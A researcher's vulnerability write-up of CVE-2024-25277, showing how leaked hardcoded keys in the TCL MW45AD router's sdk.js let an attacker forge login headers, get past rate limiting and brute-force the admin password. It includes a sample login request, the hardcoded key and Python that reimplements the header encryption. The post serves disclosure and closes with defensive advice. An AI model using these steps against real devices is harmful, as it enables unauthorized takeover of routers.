Bypass rate limiting in TCL MW45AD to achieve privileges escalation | CVE-2024-25277
Intro
A strory of CVE-2024-25277
There is a chain of designing flaws in the source code that result in bypass rate limiting to achieve privileges escalation via brute-forcing login endpoint. First things first, let's understand the flaws in the source code ( version MW45A_PT_02.00_02 )
The design
By design, when try to login on admin portal of the device (TCL MW45AD), the device allows you to try only with five attempts (this is rate limiting). Login request looks like this:
POST /jrd/webapi?api=Login HTTP/1.1
Host: 192.168.1.1
User-Agent: RUHEZA-NS
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
_TclRequestVerificationToken: 34lIm4Cq9nLCL243POzzCHW1RHc4mhDsxwYTUQJiWIe+xRkpQQwQd3Ymcl2Gv811f95K5sb1nDcJkGZOBOKDrSF/Q0lPAVfr/YTIaTzO8mE=
_TclRequestVerificationKey: KSDHSDFOGQ5WERYTUIQWERTYUISDFG1HJZXCVCXBN2GDSMNDHKVKFsVBNf
X-Requested-With: XMLHttpRequest
Content-Length: 126
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/index.html
Cookie: loginToken=1D4B9765B16C3A64AD97489B1610498B34lIm4Cq9nLCL243POzzCHW1RHc4mhDsxwYTUQJiWIe%2BxRkpQQwQd3Ymcl2Gv811f95K5sb1nDcJkGZOBOKDrSF%2FQ0lPAVfr%2FYTIaTzO8mE%3D
{"jsonrpc":"2.0","method":"Login","params":{"UserName":"dc13ibej?7","Password":"aab1202438bfa16e5a5341eb39828aad"},"id":"1.1"
On the request above, there are three headers that check the validity of the login request which are _TclRequestVerificationToken
, _TclRequestVerificationKey
and loginToken
At the moment we don't know how these headers are generated or the algorithm behind. But when we access the endpoint /js/sdk.js
we see the first security issue - leaking hardcoded _TclRequestVerificationKey
At the same endpoint we can see the second security issue - leaking encryption algorithms used to generate the remaining headers:
From the code above, _TclRequestVerificationToken = encrypt(token)
looking closely you'll notice token = "74623918"
which means _TclRequestVerificationToken = encrypt("74623918")
Next task if to find and understand how encrypt()
works.
To poke around the code i decided to rewrite the function encrypt()
in simple Python:
def encrypt(word):
phrase = "e5dl12XYVggihggafXWf0f2YSf2Xngd1"
a = []
for idx, char in enumerate(word):
r = ord(char)
positioncode = ord(phrase[idx % len(phrase)])
a.append((240 & positioncode) | ((15 & r) ^ (15 & positioncode)))
a.append((240 & positioncode) | ((r >> 4) ^ (15 & positioncode)))
enc_word = "".join(chr(char) for char in a)
return enc_word
Now we can generate _TclRequestVerificationToken
by calling our function above encrypt("74623918")
. Let's explore the last header loginToken
although you can only use the previous two headers to send request successfully without this header:
But lets check it anyway. Again we check in the same codebase to find the algorithm used to generate it:
We can understand the algorithm above in this simple way:
loginToken = "hardcoded token" + encrypt_c(token + param0 + param1)
And our final puzzle is the function encrypt_c()
which is also included in the same codebase in the endpoint /js/sdk.js
:
Now that we have all pieces that we need such that we can generate all the headers (out-of-context) simply with an automated script to bypass rate limiting and keep bruteforcing the password until we successfully login and access the admin dashboard!
Other related issues
The function encrypt()
which is used in many other functions within the code is using a key which is hard-coded in the source code, var key = "e5dl12XYVggihggafXWf0f2YSf2Xngd1"
to perform its encryption. This makes the encryption weak, easy to read and decrypt.
Password encryption uses the function encrypt_md()
. Essentially, this encryption is a chain of other "weak" encryption functions:
encrypt_md() = encrypt_u(encrypt()) = md5(encrypt())
So once you decrypt md5 algorithm used above, you remain with the same encryption, that is encrypt()
. Here's the simplified version:
import hashlib
def md5_hash(word):
phrase = "e5dl12XYVggihggafXWf0f2YSf2Xngd1"
a = []
for idx, char in enumerate(word):
r = ord(char)
positioncode = ord(phrase[idx % len(phrase)])
a.append((240 & positioncode) | ((15 & r) ^ (15 & positioncode)))
a.append((240 & positioncode) | ((r >> 4) ^ (15 & positioncode)))
enc_word = "".join(chr(char) for char in a)
md5 = hashlib.md5()
md5.update(enc_word.encode('utf-8'))
hashed_text = md5.hexdigest()
return hashed_text
Final thought
I reported this issue and received a CVE-25277 with a bounty …. !
To avoid such flaws which introduce vulnerabilities we should:
Have a secure software design flow
Avoid hard-coding keys, tokens or passwords
Using strong encryption algorithms